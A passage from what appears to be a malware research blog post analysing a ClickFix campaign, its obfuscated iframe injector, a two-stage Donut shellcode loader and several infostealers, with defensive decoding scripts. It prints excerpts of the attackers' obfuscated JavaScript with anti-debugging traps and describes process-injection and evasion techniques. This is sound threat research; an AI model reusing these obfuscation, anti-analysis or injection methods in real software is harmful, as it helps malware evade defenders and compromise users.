IoCs section), </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>_0x4927</span></span><span style='font-size: undefined;'> is the function that returns this global string array and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>_0x288c</span></span><span style='font-size: undefined;'> is the function decoding the strings and containing the anti-analysis check.</span></p><pre language="javascript">// Closure that holds the global encrypted string array.
function _0x4927() {
	const _0x1099ec = ['eGC3W5rW', 'owxcKc/cSW', 'DCkLvKxdUq', 'gCoHWQpcL3m', 'W67cQIXUW44', 'W6evAmo4W6a', /* ... */];
  _0x4927 = function () {
		return _0x1099ec;
  	};
	return _0x4927();
}

// Initial loop which shuffles the array until a condition is met.
(function (_0x44d6db, _0x238a8b) {
	const _0x43fe80 = _0x44d6db();
	while (true) {
		try {
			const _0x18408f = parseInt(_0x288c(1632, ')c9q')) / 1
				+ parseInt(_0x288c(1700, 'bx%O')) / 2
				+ -parseInt(_0x288c(700, '&Blv')) / 3
				+ -parseInt(_0x288c(553, 'VOv0')) / 4
				+ parseInt(_0x288c(638, 'bi$%')) / 5 * (parseInt(_0x288c(1126, 'KcZ$')) / 6)
        		+ parseInt(_0x288c(762, 'KgMi')) / 7 * (-parseInt(_0x288c(1696, '9d$R')) / 8)
        		+ parseInt(_0x288c(559, 'd3q[')) / 9 * (parseInt(_0x288c(1050, '&Blv')) / 10);
			if (_0x18408f === _0x238a8b) {
				break;
      		} else {
        	_0x43fe80.push(_0x43fe80.shift());
      		}
    	} catch (_0x537399) {
     	 _0x43fe80.push(_0x43fe80.shift());
    	}
 	 }
})(_0x4927, 463699);</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 8: Code listing illustrating the global string array idiom</em></span></p><p><span style='font-size: undefined;'>The anti-analysis check makes use of a clever assumption: While the script is deployed obfuscated and minified, analysts will presumably first transform it into a more readable representation before evaluating chunks of it. The anti-analysis check consists of testing the string representation of a previously defined dummy function against a regex. In JavaScript, the string representation of a non-native function (i.e. the string returned by the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>toString</span></span><span style='font-size: undefined;'> method called on the function object) is the </span><span style='font-size: undefined;'><em>verbatim definition</em></span><span style='font-size: undefined;'> of the function, including any whitespace, comments, etc. In this case, the code specifically checks if the function was defined with any whitespace after the opening curly brace — in effect, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>function(){return ‘newState’;}</span></span><span style='font-size: undefined;'> will pass the check, but </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>function() { return ‘newState’; }</span></span><span style='font-size: undefined;'> will not.</span></p><pre language="javascript">function _0x288c(index, _4_chars) {
	/* ... (Actual decoding logic, not important.) */

    // The KLCBjr attribute of _0x288c is set when the anti-analysis
    // check has been passed -&gt; the 'if' body is executed only the first time.
	if (_0x288c.KLCBjr === undefined) {
		const AntiDebug = function (ref_to_0x288c_function) {
			this.ref_to_0x288c_function = ref_to_0x288c_function;
			this.yyIdzW = [1, 0, 0];
			this.regexTestedFunction = function () {
				return 'newState';
            };
        };
        AntiDebug.prototype.testFunctionRepr = function () {
			const regex = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
			const test_result = regex.test(this.regexTestedFunction.toString()) ? --this.yyIdzW[1] : --this.yyIdzW[0];
			return this.enterInfiniteLoopIfFalse(test_result);
        };
        AntiDebug.prototype.enterInfiniteLoopIfFalse = function (zero_or_one) {
			if (!Boolean(~zero_or_one)) {
				return zero_or_one;
            }
			return this.infiniteLoop(this.ref_to_0x288c_function);
        };
		// This function infinitely appends elements to this.yyIdzW.
		AntiDebug.prototype.infiniteLoop = function (ref_to_0x288c_function) {
			let i = 0;
			for (let length = this.yyIdzW.length; i &lt; length; i++) {
				this.yyIdzW.push(Math.round(Math.random()));
				length = this.yyIdzW.length;
            }
			return ref_to_0x288c_function(this.yyIdzW[0]);
        };
		// Anti-analysis check is invoked -&gt; loops infinitely if the check fails.
		new AntiDebug(_0x288c).testFunctionRepr();
		// Attribute of function is written to skip the check from now on.
		_0x288c.KLCBjr = true;
    }

	/* ... */
}</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 9: Annotated string decoding function containing an anti-analysis check</em></span></p><p><span style='font-size: undefined;'>Luckily, this check can be bypassed even without de-obfuscating the function, simply by setting the “check passed” flag (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>_0x288c.KLCBjr = true</span></span><span style='font-size: undefined;'>) immediately after the function is defined.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Apart from the initial check, there is also a periodical trap to debugger triggered every 4 seconds to thwart DevTools-based debugging, and the last anti-debugging measure the obfuscator includes is a replacement of all console logging methods with no-op functions, so that trying to debug-print expressions will do nothing (despite the string representation of the methods looking normal).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Stripping all this anti-analysis code away, we’re left with the actual logic. All of the remaining obfuscation relies on decrypting strings using the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>_0x288c</span></span><span style='font-size: undefined;'> function from before, and outlining constants and functions into an (immutable) dictionary object.</span></p><pre language="javascript">// Example of an immutable dictionary with outlined constants and functions.
const _0x1f62bb = {
	'SEDWD': _0x288c(494, 'jRBP'),
	'xPXNi': _0x288c(997, 'VJ)K'),
	'fxaUb': _0x288c(1722, 'AFao'),
	'NMdCB': _0x288c(1026, 'c[l*'),
	'MwFFz': _0x288c(1055, '0YkN') + _0x288c(657, '8k1N') + _0x288c(1037, 'DoFz') + ')',
	/* ... */
	'LtnFV': function (_0x4711dd, _0x395488, _0x450231) {
		return _0x4711dd(_0x395488, _0x450231);
    },
	/* ... */
	'RqVmA': function (_0x34f24d, _0xf681c2) {
		return _0x34f24d !== _0xf681c2;
    },
	'jkPPL': _0x288c(1004, '9Ea9')
};

// Example of an opaque predicate using the outlined code.
// The predicate is unconditionally false, so the true branch of the 'if' is never executed.
// The unreachable branch references undeclared variables, possibly to break analysis tools.
if (_0x1f62bb[_0x288c(606, '@0X6')](_0x1f62bb[_0x288c(1088, '9Ea9')], _0x1f62bb[_0x288c(686, 'AFao')])) {
	if (_0x4eb07e) {
		const _0x1ecc29 = _0x158fa0[_0x288c(1689, 'udfh')](_0x585a9a, arguments);
        _0x45d6ea = null;
		return _0x1ecc29;
    }
}</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 10: Code listing illustrating some of the JavaScript code obfuscations</em></span></p><p><span style='font-size: undefined;'>When these obfuscations are removed (inlined and evaluated), the script logic turns out to be rather simple. A target URL for the ClickFix iframe is defined and the browser local storage (specific to the host website) is queried for the key </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>iframeShown</span></span><span style='font-size: undefined;'>. This key is set once the malicious iframe has been displayed 3 times, after which it is not displayed anymore. Once the DOM of the host website is fully loaded, the iframe is constructed, its source is set to the target url with a query parameter </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ref</span></span><span style='font-size: undefined;'> set to the hostname of the infected website, and it is appended to the document body (positioned on top of everything else).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A deobfuscated snippet of the raw ClickFix injector script logic can be </span><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Misc/ClickFix_DoubleDonut_Deobfuscated_Injector.js.txt" target="_blank"><span style='font-size: undefined;'>found</span></a><span style='font-size: undefined;'> on Rapid7 Labs’ public GitHub.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note that the threat actor clearly intended only to show the iframe once every 30 days at most by setting and checking a cookie for the host website, as well as to dismiss the iframe after 5 seconds of clicking the button inside the iframe. But as became apparent when analyzing the JavaScript running in the ClickFix iframe, they in fact never post the “</span><span style='font-size: undefined;'><span data-type='inlineCode'>buttonClicked</span></span><span style='font-size: undefined;'>” message to the host website.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This makes the compromise much more obvious, since the website has to be loaded a total of 4 times before it becomes usable again, instead of dismissing the ClickFix automatically with 5 seconds of a click and only displaying it once every 30 days. This, in our opinion, explains why so many of the compromised websites might have been sanitized so quickly. The question remains whether they </span><span style='font-size: undefined;'><em>truly</em></span><span style='font-size: undefined;'> have been sanitized, and whether the root cause of the compromise — which remains unconfirmed — was also properly addressed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In any case, using information obtained from these de-obfuscated snippets, we have been able to hunt for and find many more compromised websites, JavaScript hosting domains and fake CAPTCHA implant hosting domains, which are all included in the IoCs section.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>ClickFix payload JavaScript analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The JavaScript embedded in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>captcha.html</span></span><span style='font-size: undefined;'> files loaded by the injected iframes is obfuscated in the exact same way described before, only this time it is split into one script in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;head&gt;</span></span><span style='font-size: undefined;'> element and one script in the document </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;body&gt;</span></span><span style='font-size: undefined;'>. The de-obfuscated snippets, </span><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Misc/ClickFix_DoubleDonut_Deobfuscated_Payload.js.txt" target="_blank"><span style='font-size: undefined;'>available</span></a><span style='font-size: undefined;'> in our public GitHub repository, probably need little explanation — the former simply sets up the click event handler to copy the malicious command to the clipboard, and the latter populates the HTML with a chosen translation of the ClickFix instructions, which is chosen based on the declared locale of the host website.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The CAPTCHA instructions are available in (at least) 31 languages: English, French, German, Spanish, Italian, Portuguese, Dutch, Russian, Ukrainian, Polish, Turkish, Romanian, Hungarian, Czech, Swedish, Finnish, Danish, Norwegian, Greek, Bulgarian, Serbian, Croatian, Hebrew, Arabic, Indonesian, Malay, Thai, Vietnamese, Estonian, Latvian, and Lithuanian.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Double Donut: Two-stage shellcode loader analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Besides the identical ClickFix injector scripts and the shared infrastructure hosting them, another characteristic tying all these compromises together into a single campaign is the singular IP address hosting the final malware payloads (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>94.154.35[.]115</span></span><span style='font-size: undefined;'>, moved to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>172.94.9[.]187</span></span><span style='font-size: undefined;'> at the beginning of March). While the initial PowerShell stager C2s vary (see IoCs), eventually they always lead to the same shellcode loader hosted at this server. It should be noted that nearly all of the hosts observed in the attack belong to Autonomous System (AS) number 202412.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As it turns out, the position independent loader used by the threat actor is the open-source </span><a href="https://github.com/TheWover/donut" target="_blank"><span style='font-size: undefined;'>Donut loader (GitHub)</span></a><span style='font-size: undefined;'>, which has been commonly seen already in past ClickFix campaigns. Luckily, the open-source Donut loader is met with an open-source </span><a href="https://github.com/volexity/donut-decryptor" target="_blank"><span style='font-size: undefined;'>Donut decryptor (GitHub)</span></a><span style='font-size: undefined;'>, which we can use to automatically decrypt and extract the payload and metadata.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A defining feature of this campaign is that the Donut loader is used twice in sequence. The first Donut shellcode (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cptch.bin</span></span><span style='font-size: undefined;'>) loads only a small executable that tries to acquire </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SeDebugPrivilege</span></span><span style='font-size: undefined;'> and then downloads the second Donut shellcode (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cptchbuild.bin</span></span><span style='font-size: undefined;'>) from the same remote server, which it then injects into a service host process (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>svchost.exe</span></span><span style='font-size: undefined;'>) matching the native architecture (non-WOW64 process on x64, no effect on x86). We will call this downloader binary the “DoubleDonut Loader” for brevity. The second shellcode in turn contains the final infostealer payload executable. For convenience, we are referring to this whole component of the attack (1st shellcode -&gt; downloader -&gt; 2nd shellcode) as “DoubleDonut”.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd17d532637378e67/69af1c564e5c7e00088acb9b/04-doubledonut-loader.png" alt="04-doubledonut-loader.png" caption="Figure 11: The simplistic design of the DoubleDonut Loader" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="04-doubledonut-loader.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd17d532637378e67/69af1c564e5c7e00088acb9b/04-doubledonut-loader.png" data-sys-asset-uid="bltd17d532637378e67" data-sys-asset-filename="04-doubledonut-loader.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 11: The simplistic design of the DoubleDonut Loader" data-sys-asset-alt="04-doubledonut-loader.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 11: The simplistic design of the DoubleDonut Loader</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>The downloaded shellcode is injected and executed using a standard sequence of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD)</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>VirtualAllocEx</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WriteProcessMemory</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>CreateRemoteThread</span></span><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Updates to Vidar Stealer v2</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>As mentioned previously, one of the payloads we saw DoubleDonut deliver in late January was the notorious Vidar stealer. One evolution of this infostealer malware that we have not seen publicly documented before is a shift towards encrypted C2 configurations and string obfuscation. The sample we’ve analysed (see the IoCs section for a hash) also employs a different control flow graph obfuscation than the previously reported CFG flattening technique.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Apart from each string in Vidar samples being XORed with a random single-byte constant (unique per string; usage of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>0x00</span></span><span style='font-size: undefined;'> results in the string being unchanged), a custom encryption algorithm is now used specifically to hide C2 configurations. The C2 configuration is an array of up to 7 records, where every record contains 3 strings: the C2 URL itself, an identifier/anchor used for parsing dead drop resolver responses, and an optional User-Agent string.</span></p><pre language="cpp">struct VidarV2ConfigEntry
{
	char url        [0x100];
	char anchor     [0x100];
	char user_agent [0x100];
}

/* .rdata section */
constexpr static const char *g_encrypted_build_version = "...";
constexpr static const char *g_encrypted_build_id = "...";
constexpr static const char *g_decryption_key = "...";
constexpr static struct VidarV2ConfigEntry g_encrypted_config[7] = { /* ... */ };</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 12: A high-level representation of the C2 configuration layout in latest Vidar samples</em></span></p><p><span style='font-size: undefined;'>Based on whether the C2 URL contains the string </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>.me/</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>amcommunity.com</span></span><span style='font-size: undefined;'>, the URL is either fetched and resolved to the true C2, or used as a C2 directly. The C2 resolution is done by finding the anchor string in the HTML response and extracting the URL following it, delimited by a vertical pipe symbol (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>|</span></span><span style='font-size: undefined;'>). This technique, used notoriously by both Vidar and Lumma stealers, allows the attackers to rotate C2 addresses without invalidating the malware samples already released into the wild.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta3d5377991de041c/69af1c56cd033a00088912d0/05-steam-vidar.png" alt="05-steam-vidar.png" caption="Figure 13: A Steam profile being used as a dead drop resolver by Vidar with anchor “ho0r1”" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="05-steam-vidar.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta3d5377991de041c/69af1c56cd033a00088912d0/05-steam-vidar.png" data-sys-asset-uid="blta3d5377991de041c" data-sys-asset-filename="05-steam-vidar.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: A Steam profile being used as a dead drop resolver by Vidar with anchor “ho0r1”" data-sys-asset-alt="05-steam-vidar.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 13: A Steam profile being used as a dead drop resolver by Vidar with anchor “ho0r1”</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>Unlike other infostealers, which use standard symmetric cipher algorithms to decrypt their configurations (e.g. ChaCha20 used by Lumma or RC4 by StealC), Vidar invents its own Vigenère-like decryption routine, which can be replicated in Python like this:</span></p><pre language="python">def vidar_c2_config_string_decode(
    ciphertext: str,
    key: str,
    alphabet: str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&()*+,-./:;&lt;=&gt;?@[]^_`{|}~ "
) -&gt; str:
    key_len = len(key)
    alpha_len = len(alphabet)
	assert key_len != 0 and alpha_len != 0 and key_len == alpha_len, "Invalid key or alphabet length"

	max_len = min(len(ciphertext), 512)
    out = []
	for i in range(max_len):
        ch = ciphertext[i]
        key_offset = max(0, key.find(ch))
        decoded_ch = alphabet[(key_offset - i) % key_len]
        out.append(decoded_ch)

return "".join(out)</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 14: A reimplementation of Vidar C2 decryption routine in Python</em></span></p><p><span style='font-size: undefined;'>To help researchers and defenders analyze and track this threat, we are publishing a </span><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Malware%20Config%20Extractors/vidar_v2_extract.py" target="_blank"><span style='font-size: undefined;'>C2 configuration extractor script</span></a><span style='font-size: undefined;'> that can be run on any Vidar payload that uses this decryption procedure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Apart from the encrypted C2 configuration, another upgrade Vidar introduced is a new mechanism for control-flow obfuscation. Previously, Vidar payloads implemented a simple CFG flattening algorithm, which, albeit effective, is quite common and easy to reverse. The new samples use a related, but different technique, which consists of a combination of:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Opaque predicates referencing global variables,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Infinite loops in dead branches,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>alloca</span></span><span style='font-size: undefined;'> constructs (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>call; sub rsp, rax</span></span><span style='font-size: undefined;'>) with obfuscated constant arguments (to break decompilers), and</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Jumps from dead branches to previous code blocks, which results in decompilers interpreting these as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>while(1)</span></span><span style='font-size: undefined;'>-style loops and duplicating a lot of the code in the output.</span>⠀</p></li></ul><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad90bfe53974b5a7/69af1c5677fad000083ddbf3/06-vidar-cfg-ida.png" height="435" alt="06-vidar-cfg-ida.png" caption="Figure 15: Excerpt from Hex-Rays IDA decompiler output for “main” stealer subroutine" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="06-vidar-cfg-ida.png" width="813" style="width: 813px; height: 435px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad90bfe53974b5a7/69af1c5677fad000083ddbf3/06-vidar-cfg-ida.png" data-sys-asset-uid="bltad90bfe53974b5a7" data-sys-asset-filename="06-vidar-cfg-ida.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 15: Excerpt from Hex-Rays IDA decompiler output for “main” stealer subroutine" data-sys-asset-alt="06-vidar-cfg-ida.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 15: Excerpt from Hex-Rays IDA decompiler output for “main” stealer subroutine</figcaption></div></figure><h3><span style='color:rgb(67, 67, 67);'>Impure Stealer (.NET)</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Another payload we’ve seen DoubleDonut deliver is an unknown, or rather so far unnamed, .NET infostealer. Upon a first glance at its network communications, one may infer similarities with the PureLogs stealer family — namely the use of a custom Type-Length-Value (TLV) data encoding, which constitutes a sort of a custom network protocol on top of TCP — and some vendors actually classify the sample as such. However, a closer examination reveals that this is an otherwise unrelated stealer, using different obfuscator tools, different mechanism for config decryption, and AES-256-CBC with a server-provided key for encryption of C2 communication, whereas PureLogs uses 3DES with a hard-coded key. For these reasons, we’ve decided to call this malware </span><span style='font-size: undefined;'><strong>Impure Stealer</strong></span><span style='font-size: undefined;'>.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7cf8efea9159c700/69af1c56856e0e000832ed8d/07-impure-entry.png" alt="07-impure-entry.png" caption="Figure 16: Stealer entry point method disassembled using dnSpy" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="07-impure-entry.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7cf8efea9159c700/69af1c56856e0e000832ed8d/07-impure-entry.png" data-sys-asset-uid="blt7cf8efea9159c700" data-sys-asset-filename="07-impure-entry.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 16: Stealer entry point method disassembled using dnSpy" data-sys-asset-alt="07-impure-entry.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 16: Stealer entry point method disassembled using dnSpy</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>Besides the specific naming convention used for type and variable names and the code-flattening and opaque predicate obfuscations, the stealer can be identified by a repeating string decoding/decryption pattern, which is illustrated already by the first statement in the entry point method. There, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>column0051.offset6910</span></span><span style='font-size: undefined;'> is called with a hexadecimal string and a signed 32-bit integer as arguments — this is in fact the string decryption routine.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Besides the integer key, the decryption routine depends on one more input, specific per sample, which is a permutation of the 16 hexadecimal digit characters. This alphabet is stored as a static constant (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>column0051.source97</span></span><span style='font-size: undefined;'> in our particular sample) and can be found referenced from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>offset6910</span></span><span style='font-size: undefined;'> indirectly via the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>column0051.temp67</span></span><span style='font-size: undefined;'> method.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The decryption algorithm itself can be rewritten as follows:</span>⠀</p><pre language="python">def impure_stealer_string_decode(
    hex_ciphertext: str,
    key: int,
    alphabet: str
) -&gt; str:
	if len(alphabet) != 16 or len(set(alphabet)) != 16:
		raise ValueError("The alphabet must be 16 unique characters.")
	if (len(hex_ciphertext) & 3) != 0:
		raise ValueError("Input length must be a multiple of 4 characters.")

    lut = {ch: i for i, ch in enumerate(alphabet)}
    out = []
	for i in range(len(hex_ciphertext) // 4):
		try:
            n0 = lut[hex_ciphertext[i * 4 + 0]]
            n1 = lut[hex_ciphertext[i * 4 + 1]]
            n2 = lut[hex_ciphertext[i * 4 + 2]]
            n3 = lut[hex_ciphertext[i * 4 + 3]]
		except KeyError as e:
			raise ValueError(f"Character {e.args[0]!r} not in alphabet") from None

		v = n0 | (n1 &lt;&lt; 4) | (n2 &lt;&lt; 8) | (n3 &lt;&lt; 12)
        ch = (v ^ key ^ (i * 7)) & 0xFFFF
		out.append(chr(ch))

	return "".join(out)</pre><p><span style='font-size: undefined;'>As with Vidar, we share a </span><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Malware%20Config%20Extractors/impure_stealer_extract.py" target="_blank"><span style='font-size: undefined;'>public script</span></a><span style='font-size: undefined;'> to extract decrypted strings and any C2 configuration contained therein from the stealer samples.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>VodkaStealer</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The latest payload observed at the end of the DoubleDonut chain is a new custom C++ stealer, which has been named VodkaStealer and </span><a href="https://xto9ot.gitbook.io/malware-analysis/clickfix-campaign-russian-threat-actor-evolves-to-custom-infostealer" target="_blank"><span style='font-size: undefined;'>first analyzed by researcher xto9ot</span></a><span style='font-size: undefined;'>. This stealer can confidently be attributed to the developer of the DoubleDonut loader due to many overlapping characteristics of both binaries, such as the exact same mechanism for downloading and injecting additional payloads into other service host processes, as well as reuse of DoubleDonut C2 infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Compared to the previous payloads, including Vidar and Impure Stealer, as well as StealC, Rhadamanthys, and AuraStealer — which have been observed delivered in the same campaign by researchers at </span><a href="https://www.levelblue.com/blogs/spiderlabs-blog/how-clickfix-opens-the-door-to-stealthy-stealc-information-stealer" target="_blank"><span style='font-size: undefined;'>LevelBlue</span></a><span style='font-size: undefined;'> and </span><a href="https://www.intrinsec.com/wp-content/uploads/2026/02/TLP-CLEAR-AuraStealer-EN.pdf" target="_blank"><span style='font-size: undefined;'>Intrinsec</span></a><span style='font-size: undefined;'> — the new stealer lacks significantly in anti-analysis and stealth capabilities, missing out on any kind of binary obfuscation, and staging temporary files to disk, in plaintext and with fully descriptive filenames, before exfiltration. Furthermore, in order to bypass Chrome v20 App-Bound Encryption, the stealer tries to download and run a separate helper binary, the open-source “ChromElevator” tool (source code is found on </span><a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption" target="_blank"><span style='font-size: undefined;'>GitHub</span></a><span style='font-size: undefined;'>), hosted on the same C2 server as the loader shellcode.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This begs the question why an attacker with access to the latest cutting-edge infostealers would fall back to a custom stealer written potentially from scratch. One speculative explanation is of an economical nature — commercial infostealers are expensive, while small software PoC development, including malware development, is becoming widely available thanks to pre-trained transformer LLMs, with open-source “red team” tools like ChromElevator available to aid with the more technically challenging aspects. However, this is all pure speculation, and Rapid7 Labs will keep tracking the campaign to collect more intelligence and draw more definitive conclusions.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As is the case with practically all commodity infostealers, the sample starts by checking if any of the enabled keyboard layouts match the Russian language, and if the public IP of the infected machine suggests location within Russia or Belarus. In these cases, the malware terminates.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltef9ed65e5a986e5f/69af1c56f2eef0000852634a/08-vodka-geocheck.png" alt="08-vodka-geocheck.png" caption="Figure 17: Code listing from the WinMain function illustrates geographical checks." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="08-vodka-geocheck.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltef9ed65e5a986e5f/69af1c56f2eef0000852634a/08-vodka-geocheck.png" data-sys-asset-uid="bltef9ed65e5a986e5f" data-sys-asset-filename="08-vodka-geocheck.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 17: Code listing from the WinMain function illustrates geographical checks." data-sys-asset-alt="08-vodka-geocheck.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 17: Code listing from the WinMain function illustrates geographical checks.</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>Next, the stealer checks if either the file </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>%Temp%\sysinfo_user_marker.marker</span></span><span style='font-size: undefined;'> or the mutex </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Global\sysinfo_single_instance</span></span><span style='font-size: undefined;'> exists, and if so, terminates execution. An anti-debug check is performed by calling </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>IsDebuggerPresent</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>CheckRemoteDebuggerPresent</span></span><span style='font-size: undefined;'>, a combination of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Sleep</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetTickCount</span></span><span style='font-size: undefined;'>, as well as querying the registry for presence of the following keys:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HKLM\SOFTWARE\VMware, Inc.\VMware Tools</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span 